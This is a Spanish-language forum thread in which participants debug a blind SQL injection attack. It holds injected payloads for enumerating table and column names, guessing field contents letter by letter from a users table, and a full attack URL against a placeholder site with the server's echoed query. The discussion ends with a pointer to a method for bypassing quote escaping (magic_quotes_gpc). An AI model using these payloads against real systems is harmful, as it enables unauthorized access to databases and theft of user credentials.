Hola a tod@s, estoy teniendo un problema a la hora de realizar una inyeccion ciega, y quisiera saber si hay algo q este haciendo mal:
He seguido los siguientes pasos:
... AND (SELECT Count(*) FROM Tabla) >= 0 para saber nombre de tabla
... AND (SELECT Count(campo) FROM Tabla) >= 0 para saber nombre de campo
Con las dos sentencias anteriores no tengo problemas, saco los nombres de tablas y campos de las mismas.
... AND (SELECT Count(*) FROM Tabla WHERE campo LIKE '%') > 0 para saber contenido del campo
con esta ultima inyeccion si tengo problemas, pq por ejemplo:
... AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE '%') > 0
eso deberia darme cierto no???? ya que hay algun nombre metido en la tabla usuarios, pero siempre me da falso. Tambien he probado:
AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE 'a%') > 0
AND (SELECT Count(*) FROM usuarios WHERE nombre LIKE 'b%') > 0
Asi hasta la z y del 0 al 9...pero siempre da falso.
Alguien puede decirme q estoy haceindo mal??
Gracias de antemano
Supongo que te estará fallando porque confunde el % ... es decir, sabes que un espacio es %20 ... si encuentra un % tras el LIKE lo confundirá con un código ASCII. Prueba a poner:
AND (SELECT Count(*) FROM Tabla WHERE campo LIKE '%25') > 0
Mmmmm he estado realizando pruebas y parece que el error está en las comillas ...
Por ejemplo, si pruebas:
AND (SELECT Count(*) FROM Tabla WHERE 1=1) > 0
funciona bien, pero con:
AND (SELECT Count(*) FROM Tabla WHERE '1'='1') > 0
da error ... por las comillas.
Seguiré mirando y si veo algo lo comento :P
Saludos
Gracias por tu ayuda :) voy a probar diferentes codificaciones de las ' a ver q pasa....
Acabo de probar con mi server y tras inyectar esto:
http://www.xxx.com/x.php?id=1%20AND%20(SELECT%20Count(*)%20FROM%20usuarios%20WHERE%20user='admin')%20%3E%200
la respuesta que me da es esta:
Datos=1 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0
CADENA=SELECT * FROM empresa WHERE codigo=1133 AND (SELECT Count(*) FROM usuarios WHERE user=\'admin\') > 0
Efevtivamente, esta cambiando ' por \' asi que habra que buscar una forma de saltarselo
Bueno, ya está solucionado. He escrito en mi blog cómo saltarse el parseo de comillas:
http://www.enye-sec.org/pepelux/?p=16#more-16
magic_quotes_gpc :rolleyes: